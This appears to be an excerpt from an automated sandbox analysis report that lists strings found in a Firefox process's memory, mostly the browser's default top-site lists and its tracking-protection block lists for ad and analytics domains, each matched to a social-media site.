Source: firefox.exe, 0000001C.00000002.3212478847.000001C133AE3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: oncommand=secondarybuttoncommand,label=secondarybuttonlabel,accesskey=secondarybuttonaccesskey,hidden=secondarybuttonhidden,dropmarkerhiddenUpdateService:_selectAndInstallUpdate - update not supported for this system. Notifying observers. topic: update-available, status: unsupportedhttps://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/jar:file:///C:/Program%20Files/Mozilla%20Firefox/browser/features/pictureinpicture@mozilla.org.xpi!/experiment-apis/aboutConfigPipPrefs.js equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.3212478847.000001C133AE3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: oncommand=secondarybuttoncommand,label=secondarybuttonlabel,accesskey=secondarybuttonaccesskey,hidden=secondarybuttonhidden,dropmarkerhiddenUpdateService:_selectAndInstallUpdate - update not supported for this system. Notifying observers. topic: update-available, status: unsupportedhttps://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/jar:file:///C:/Program%20Files/Mozilla%20Firefox/browser/features/pictureinpicture@mozilla.org.xpi!/experiment-apis/aboutConfigPipPrefs.js equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.3212478847.000001C133A3A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "://www.facebook.com/platform/impression.php" equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.3212478847.000001C133A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: (browserSettings.update.channel == "release") && (!((currentDate\|date - profileAgeCreated\|date) / 3600000 <= 24)) && (version\|versionCompare('116.!') >= 0)https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=AIzaSyC7jsptDS3am4tPx4r3nxis7IMjBc5Dovo&$httpMethod=POSTmoz-extension://a581a2f1-688c-434b-8db8-16166b1993d9/shims/microsoftLogin.js equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.3212478847.000001C133A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: (browserSettings.update.channel == "release") && (!((currentDate\|date - profileAgeCreated\|date) / 3600000 <= 24)) && (version\|versionCompare('116.!') >= 0)https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=AIzaSyC7jsptDS3am4tPx4r3nxis7IMjBc5Dovo&$httpMethod=POSTmoz-extension://a581a2f1-688c-434b-8db8-16166b1993d9/shims/microsoftLogin.js equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001C.00000002.3212478847.000001C133A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: (browserSettings.update.channel == "release") && (!((currentDate\|date - profileAgeCreated\|date) / 3600000 <= 24)) && (version\|versionCompare('116.!') >= 0)https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=AIzaSyC7jsptDS3am4tPx4r3nxis7IMjBc5Dovo&$httpMethod=POSTmoz-extension://a581a2f1-688c-434b-8db8-16166b1993d9/shims/microsoftLogin.js equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.3370104989.000001C138717000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3212478847.000001C133A03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3212478847.000001C133A3A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.3212478847.000001C133A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://www.facebook.com/platform/impression.phphttps://ads.stickyadstv.com/firefox-etp://.adsafeprotected.com//Serving/--panel-banner-item-info-icon-bgcolorexecuteIDB/promise</transaction.onerror equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.3267954961.000001C134603000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: -l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"Wikipedia"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.reddit.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="R"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/reddit-com@2x.png)"></div></div></div><div class="title"><span dir="auto">Reddit<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"Reddit"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer hide-for-narrow"><div class="top-site-inner"><a class="top-site-button" href="https://twitter.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="T"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/twitter-com@2x.png)"></div></div></div><div class="title"><span dir="auto">Twitter<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"Twitter"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer placeholder hide-for-narrow"><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li></ul><div class="edit-topsites-wrapper"></div></div></section></div></div></div></div><style data-styles="[[null]]"></style></div><div class="discovery-stream ds-layout"><div class="ds-column ds-column-12"><div class="ds-column-grid"><div></div></div></div><style data-styles="[[null]]"></style></div></div></main></div></div> equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001C.00000002.3370712885.000001C138853000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3383079455.000001C13938A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3364852860.000001C138292000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.3212478847.000001C133A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: @mozilla.org/network/file-output-stream;1https://smartblock.firefox.etp/play.svg://cdn.branch.io/branch-latest.min.js@mozilla.org/addons/addon-manager-startup;1@mozilla.org/network/safe-file-output-stream;1://pub.doubleverify.com/signals/pub.js://.imgur.io/js/vendor..bundle.js://static.criteo.net/js/ld/publishertag.js://www.rva311.com/static/js/main..chunk.js://www.everestjs.net/static/st.v3.js://static.chartbeat.com/js/chartbeat.js://web-assets.toggl.com/app/assets/scripts/.jsFileUtils_closeAtomicFileOutputStreamFileUtils_openAtomicFileOutputStreamwebcompat-reporter%40mozilla.org:1.5.1://.imgur.com/js/vendor..bundle.jswebcompat-reporter@mozilla.org.xpi://connect.facebook.net//sdk.js*://connect.facebook.net//all.js@mozilla.org/network/atomic-file-output-stream;1resource://gre/modules/FileUtils.sys.mjsresource://gre/modules/addons/XPIProvider.jsmpictureinpicture%40mozilla.org:1.0.0https://smartblock.firefox.etp/facebook.svg://static.chartbeat.com/js/chartbeat_video.jsFileUtils_closeSafeFileOutputStream://auth.9c9media.ca/auth/main.jsFileUtils_openSafeFileOutputStream://track.adform.net/serving/scripts/trackpoint/://libs.coremetrics.com/eluminate.js://c.amazon-adsystem.com/aax2/apstag.jsresource://gre/modules/TelemetryStorage.sys.mjs equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.3370104989.000001C13870B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ["://track.adform.net/Serving/TrackPoint/", "://pagead2.googlesyndication.com/pagead/.jsfcd=true", "://pagead2.googlesyndication.com/pagead/js/.jsfcd=true", "://pixel.advertising.com/firefox-etp", "://cdn.cmp.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "https://static.adsafeprotected.com/firefox-etp-js", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/*"] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.3370104989.000001C138703000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3370104989.000001C138707000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.3212478847.000001C133A60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.3212478847.000001C133A60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"] equals www.rambler.ru (Rambler)
Source: firefox.exe, 0000001C.00000002.3370104989.000001C138717000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ["www.facebook.com","facebook.com"] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.3370104989.000001C138717000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ["www.youtube.com","youtube.com"] equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.3370104989.000001C138703000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["image"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.3370104989.000001C138703000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3370104989.000001C138707000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["imageset"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.3212478847.000001C133A3A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 0000001C.00000002.3212478847.000001C133A5E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3212478847.000001C133A3A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 0000001C.00000002.3370104989.000001C13870B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["xmlhttprequest"], urls:["://track.adform.net/Serving/TrackPoint/", "://pagead2.googlesyndication.com/pagead/.jsfcd=true", "://pagead2.googlesyndication.com/pagead/js/.jsfcd=true", "://pixel.advertising.com/firefox-etp", "://cdn.cmp.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "https://static.adsafeprotected.com/firefox-etp-js", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", 